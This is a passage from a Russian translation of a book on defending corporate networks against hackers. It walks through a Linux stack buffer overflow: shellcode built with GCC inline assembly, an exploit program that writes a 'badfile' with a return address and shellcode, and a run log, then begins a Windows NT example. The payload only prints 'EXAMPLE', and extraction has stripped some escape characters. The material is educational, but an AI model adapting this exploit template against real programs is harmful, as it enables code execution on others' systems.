Коллектив авторов - Защита от хакеров корпоративных сетей
$ cat ret.c
int main()
{
return(0);
}
$ gcc ret.c -o ret
$ gdb ./ret
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>: push %EBP
0x8048431 <main+1>: mov %ESP,%EBP
0x8048433 <main+3>: mov $0x0,%EAX <– here it is :)
0x8048438 <main+8>: pop %EBP
0x8048439 <main+9>: ret
0x804843a <main+10>: mov %ESI,%ESI
0x804843c <main+12>: nop
0x804843d <main+13>: nop
0x804843e <main+14>: nop
0x804843f <main+15>: nop
End of assembler dump.
(gdb)Далее, вместо выполнения оператора возврата return (значение) пропустим его и перепишем значение ESP в регистр EAX. Таким способом значение регистра ESP может быть назначено переменной. Вот пример программы, отображающей содержимое регистра ESP:
–get_ESP.c–
unsigned long get_ESP(void)
{
__asm__(“movl %ESP,%EAX”);
}
int main()
{
printf(“ESP: 0x%xn”, get_ESP());
return(0);
}
–get_ESP.c–Можно ли теперь, зная адрес начала стека, точно определить в нем место размещения управляющего кода? Нет, нельзя!
Но для разумной оценки адреса области размещения управляющего кода можно увеличить ее размер способом, аналогичным способу последовательности команд nop. В начале работы программы все регистры были очищены командами xor, поэтому в качестве заполнителя буфера можно воспользоваться одной из команд работы с регистром, которая не окажет влияния на работу программы. Например, команда inc 0 %>EAX, машинный код представляется шестнадцатеричным байтом 0x41, увеличивает значение регистра EAX на единицу. В управляющем коде регистр EAX перед использованием обнуляется. Поэтому при размещении перед первой командой jmp команд inc %EAX управляющий код будет прекрасно работать. В действительности в управляющем коде можно разметить столько команд inc %EAX, сколько захотим. В данном случае команда inc %EAX эквивалентна команде nop. Поэтому выберем размер управляющего кода равным 1000 байт и заполним его символами 0x41, другими словами, командой inc%EAX.
Определенная в программе переполнения буфера символическая константа OFFSET – предполагаемое смещение области размещения управляющего кода в стеке. В программе ему присвоено символическое значение ESP+1500.
Вот так в конечном счете выглядят управляющий код и программа переполнения:#include <stdlib.h>
#include <stdio.h>
/***** Shellcode dev with GCC *****/
int main() {
__asm__(”
jmp string # jump down to <string:>Это команды, с которых фактически начинается программный код полезной нагрузки. Сначала обнуляются используемые в программе регистры, чтобы находящиеся в них данные не повлияли на работу управляющего кода:
xor %EBX, %EBX
xor %EDX, %EDX
xor %EAX, %EAX
# Now we are going to set up a call to the
write
#function. What we are doing is basically:
# write(1,EXAMPLE!n,9);
# Syscall reference: /usr/include/asm/unistd.h
#
# write : syscall 4
#Почти всем системным вызовам Linux параметры передаются через регистры. Параметры системного вызова <write> передаются через следующие регистры:
• ECX: адрес записываемых данных;
• EBX: дескриптор файла, в рассматриваемом случае используется дескриптор стандартного файла вывода stdout;
• EDX: длина записываемых данных.
Теперь в регистр EBX записывается нужный дескриптор файла. В данном случае дескриптор стандартного файла вывода stdout равен 1:popl %ECX # %ECX now holds the address of our string mov $0x1, %EBX
Затем длина записываемой строки записывается в младший полубайт регистра %EDX:
movb $0x09, %dl
Перед обращением к системному вызову следует сообщить операционной системе, какой системный вызов должен быть выполнен. Достигается это записью номера системного вызова в младший байт регистра %EAX – %al:
movb $0x04, %al
Теперь операционная система выполняет системный вызов, номер которого записан в регистр %al.
int $0x80
В конце программы нужно выполнить системный вызов завершения работы <exit> или #syscall 1. Системному вызову exit в данном случае параметры не нужны, поэтому фрагмент кода выглядит следующим образом:
movb $0x1, %al
int $0x80
string:
call code
A call pushes the address of the next instruction onto the stack and then does a jmp
to the specified address. In this case the next instruction after <call code> is
actually the location of our string EXAMPLE. So by doing a jump and then a call, we
can get an address of the data in which we’re interested. So now we redirect the
execution back up to <code:>
.string “EXAMPLEn”
“);В конечном счете программа переполнения буфера выглядит так:
/****** Shellcode dev with GCC *****/
#include <stdlib.h>
#include <stdio.h>
char shellcode[] =
“xebx16” /* jmp string */
“x31xdb” /* xor %EBX, %EBX */
“x31xd2” /* xor %EDX, %EDX */
“x31xc0” /* xor %EAX, %EAX */
“x59” /* pop %ECX */
“xbbx01x00x00x00” /* mov $0x1,%EBX */
“xb2x09” /* mov $0x9,%dl */
“xb0x04” /* mov $0x04,%al */
“xcdx80” /* int $0x80 */
“xb0x01” /* mov $0x1, %al */
“xcdx80” /* int $0x80 */
“xe8xe5xffxffxff” /* call code */
“EXAMPLEn”
;
#define VULNAPP «./bof»
#define OFFSET 1500
unsigned long get_ESP(void)
{
__asm__(«movl %ESP,%EAX»);
}
main(int argc, char **argv)
{
unsigned long addr;
FILE *badfile;
char buffer[1024];
fprintf(stderr, «Using Offset: 0x%xnShellcode Size:
%dn»,addr,sizeof(shellcode));
addr = get_ESP()+OFFSET;
/* Make exploit buffer */
memset(&buffer,0x41,1024);
buffer[12] = addr & 0x000000ff;
buffer[13] = (addr & 0x0000ff00) >> 8;
buffer[14] = (addr & 0x00ff0000) >> 16;
buffer[15] = (addr & 0xff000000) >> 24;
memcpy(&buffer[(sizeof(buffer) –
sizeof(shellcode))],shellcode,sizeof(shellcode));
/* put it in badfile */
badfile = fopen(“./badfile”,“w”);
fwrite(buffer,1024,1,badfile);
fclose(badfile);
}Пример выполнения программы переполнения буфера представлен ниже:
sh-2.04# gcc sample4.c -o sample4
sh-2.04# gcc exploit.c -o exploit
sh-2.04# ./exploit
Using Offset: 0x8048591
Shellcode Size: 38
sh-2.04# od -t x2 badfile
0000000 4141 4141 4141 4141 4141 4141 fc04 bfff
#########
*
0001720 4141 4141 4141 4141 4141 16eb db31 d231
0001740 c031 bb59 0001 0000 09b2 04b0 80cd 01b0
0001760 80cd e5e8 ffff 45ff 4158 504d 454c 000a
2000
sh-2.04# ./sample4
EXAMPLE
sh-2.04#В первых двух строчках, начинающихся с gcc, содержится вызов компилятора для трансляции уязвимой программы sample4.c и программы переполнения буфера exploit.c. Программа переполнения буфера выводит смещение области размещения управляющего кода в стеке и размер программного кода полезной нагрузки. Попутно создается файл « badfile », к которому обращается уязвимая программа. Затем отображается дамп содержимого файла «badfile» (команда octal dump – od) в шестнадцатеричном формате. По умолчанию эта версия команды od не отображает повторяющиеся строчки, выводя вместо них строку, начинающуюся звездочкой «*». Поэтому в дампе не показаны повторяющиеся строчки со смещениями от 0000020 и до 0001720, заполненные командами 0x41 из последовательности команд inc %EAX. И наконец, приведен отчет работы программы sample4, которая выводит строку EXAMPLE. Если просмотреть исходный текст уязвимой программы, то можно заметить, что ничего подобного в ней запрограммировано не было. Этот вывод был запрограммирован в программе переполнения буфера. Из этого следует, что попытка воспользоваться переполнением буфера в своих целях оказалась успешной. Пример программы переполнения буфера для Windows NT
Рассмотрим возможность использования ошибки переполнения буфера в Windows NT. Большинство рассматриваемых в этой секции подходов применимо ко всем платформам Win32 (Win32 – платформа, поддерживающая Win32 API, например Intel Win32s, Windows NT, Windows 95, MIPS Windows NT, DEC Alpha Windows NT, Power PC Windows NT), но в силу различий между платформами не все способы применимы к каждой из них. Приведенная ниже программа была написана и оттестирована в Windows 2000 Service Pack 2. Она может работать и на других платформах, но из-за ее простоты и минимума функциональных возможностей, реализованных в ней, этого гарантировать нельзя. Пригодные для различных платформ способы переполнения буфера будут рассмотрены в этой главе позднее.
Известно большое количество способов переполнения буфера в Windows. Приведенная ниже программа демонстрирует лишь некоторые них. Для того чтобы программа получилась небольшой, рассмотрена реализация непереносимого переполнения буфера. Программа предназначена для выполнения в Windows 2000 Service Pack 2. Для выполнения на другой платформе потребуется повторная компиляция и, возможно, внесение в программу небольших изменений.
Программа выводит всплывающее окно – сообщение с текстом приветствия «HI».
На примере программы будет рассмотрено:
• создание загрузчика (средства доставки);
• построение программы переполнения буфера;
• нахождение точки передачи управления (точки перехода);
• запись программного кода полезной нагрузки.
Создание загрузчика. Загрузчик ориентирован на работу с файлами, поскольку было известно, что исследуемое переполнение буфера проявляется при чтении данных из файла в буфер. Было также известно, что уязвимая программа читает из файла двоичные данные. Поэтому можно было не беспокоиться о нулевых байтах в управляющем коде. В результате был написан простой загрузчик, который записывает управляющий код в файл. Уязвимая программа прочитает из файла программу переполнения буфера в буфер данных.
Средства записи в файл в Windows NT довольно просты. Для открытия файла, записи в него и закрытия файла в программе были использованы функции программного интерфейса приложения API CreateFile(), WriteFile() и CloseHandle(). Буфер writeme предусмотрен для хранения программы переполнения буфера.